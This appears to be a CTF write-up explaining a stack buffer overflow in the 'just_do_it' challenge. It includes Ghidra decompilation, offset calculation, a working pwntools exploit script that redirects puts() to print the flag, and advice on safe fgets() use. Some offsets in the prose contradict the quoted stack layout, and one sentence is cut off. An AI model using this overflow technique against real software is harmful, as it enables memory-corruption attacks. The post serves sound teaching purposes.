Logo
Stack Basics: Variable Overwrite
Overview

Stack Basics: Variable Overwrite

Ryclic Ryclic
October 26, 2025
4 min read
variable_overwrite

Introduction

If we have an insecure function like gets() or fgets() with incorrect read sizes, we can perform an overflow on the given write bounds for a buffer or variable and perform undefined behavior.

gets() itself doesn’t check for bounds, so we can write past the buffer indefinitely. fgets() may be abused if the parameter regarding the amount of bytes to read is incorrectly defined. Reference the following parameters:

char *fgets(char* str, int n, FILE* stream);

If n, the number of bytes/chars to read does not match the length of the buffer str that the data is being read into, then an overflow can be done by inputting more characters.

These characters will write past the bounds of the buffer and overwrite the data adjacent to the buffer. If variables lie above the buffer in memory, then we can overwrite those variables.

Example

Following the “nightmare” practice challenges, let’s do the challenge from TokyoWesterns 2017 CTF titled “just_do_it”.

We’re given a binary with the following decomposition in Ghidra:

main() function
undefined4 main(void)
{
char *pcVar1;
int iVar2;
char user_input [16];
FILE *local_18;
char *target;
undefined1 *local_c;
local_c = &stack0x00000004;
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
target = failed_message;
local_18 = fopen("flag.txt","r");
if (local_18 == (FILE *)0x0) {
perror("file open error.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
pcVar1 = fgets(flag,0x30,local_18);
if (pcVar1 == (char *)0x0) {
perror("file read error.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Welcome my secret service. Do you know the password?");
puts("Input the password.");
pcVar1 = fgets(user_input,0x20,stdin);
if (pcVar1 == (char *)0x0) {
perror("input error.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
iVar2 = strcmp(user_input,PASSWORD);
if (iVar2 == 0) {
target = success_message;
}
puts(target);
return 0;
}

Particularly of note is the fgets() call for the password. Notice that the size parameter is hardcoded to 0x20, or equivalently 32 bytes. However, the buffer itself is only 16 bytes. This means we have 32 - 16 = 16 bytes of extra space that we can override the other local variables with.

Let’s take a look at the other variables. What could we override to let us see the flag? We can already see that the flag is read into a buffer and stored in memory at flag from this line:

pcVar1 = fgets(flag,0x30,local_18);

There is also a puts() call at the end to a variable that I renamed to target. Since this variable lies above our buffer in memory, we can override it. With this, all we need to do is override the target to our flag buffer to hijack the puts() call to print the flag!

puts(target);

To calculate the offset needed, we can look at the layout in memory of each variable. This is the following Ghidra result:

Ghidra main() Variable Layout
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined <UNASSIGNED> <RETURN>
undefined4 Stack[0x0]:4 local_res0
undefined4 Stack[-0xc]:4 local_c
undefined4 Stack[-0x14]:4 target
undefined4 Stack[-0x18]:4 local_18
undefined1[16] Stack[-0x28] user_input

With user_input starting at -0x20 and ending at -0x20 - 0x8 = -0x28 relative to EIP, we want to override to target. Target begins at -0x10 and ends at -0x10 - 0x4 = -0x14. We need to write up to this point.

Thus, 0x28 - 0x14 = 0x14, so we need to write 20 bytes to get to the target, plus another four bytes of the flag buffer location.

Here is the final solve script:

exploit.py
from pwn import *
p = process("./just_do_it")
p.recvuntil("password.\n")
payload = b"A" * 0x14
payload += p32(0x804A080)
p.sendline(payload)
p.interactive()

Prevention

There are obviously runtime protections in place to prevent buffer overflows or limit their impact, but in order to prevent the overflow in the first place, fgets() should be used safely.

Tip (Safe Use of fgets)

Generally, the size field of fgets() should only be used with sizeof(buf) in order to clearly define the read size. This way, there is less of a possibility that

Furthermore, use of gets() should be avoided at all costs. In fact, the gets() prototype itself has been removed from <stdio.h> since C11, so it can no longer be used.

Warning (Deprecation of gets)

The gets() function has been deprecated for many years (since C99, removed C11) due to its non-bounds checking behavior. This can lead to buffer overflows and is extremely dangerous in use.